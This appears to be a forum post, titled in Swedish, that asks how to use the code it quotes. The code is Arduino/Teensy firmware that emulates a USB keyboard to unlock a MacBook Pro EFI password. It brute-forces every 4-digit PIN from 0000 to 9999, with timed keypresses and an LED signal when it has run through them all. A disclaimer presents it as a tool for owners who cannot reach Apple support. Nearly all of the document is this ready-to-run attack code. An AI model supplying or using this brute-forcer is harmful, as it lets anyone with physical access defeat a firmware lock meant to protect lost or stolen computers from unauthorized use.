MacBookPro EFI Hack/Crack/Unlock. Vart skriver jag koden och hur?

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.
const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";
void setup() {
pinMode(ledPin, OUTPUT); // declare LED as output
delay(10000);
}
void loop(){
keyboard_modifier_keys = 0;
if (counter <= 9999){
delay(8000);
digitalWrite(ledPin, LOW);
delay(5500);
digitalWrite(ledPin, HIGH);
sprintf(pin, "%04d", fakecounter);
//sending first digit
Keyboard.press(pin[0]);
delay(450);
Keyboard.release(pin[0]);
delay(420);
//sending second digit
Keyboard.press(pin[1]);
delay(398);
Keyboard.release(pin[1]);
delay(510);
//sending third digit
Keyboard.press(pin[2]);
delay(421);
Keyboard.release(pin[2]);
delay(423);
//sending forth digit
Keyboard.press(pin[3]);
delay(430);
Keyboard.release(pin[3]);
delay(525);
//sending enter
Keyboard.press(KEY_ENTER);
delay(305);
Keyboard.release(KEY_ENTER);
}
//reached 4 digit PIN max value
if (counter > 9999){
for (int blinkies = 0; blinkies < 8; blinkies++) {
digitalWrite(ledPin, HIGH);
delay(20);
digitalWrite(ledPin, LOW);
delay(200);
}
delay(6000);
}
++counter;
fakecounter = counter;
}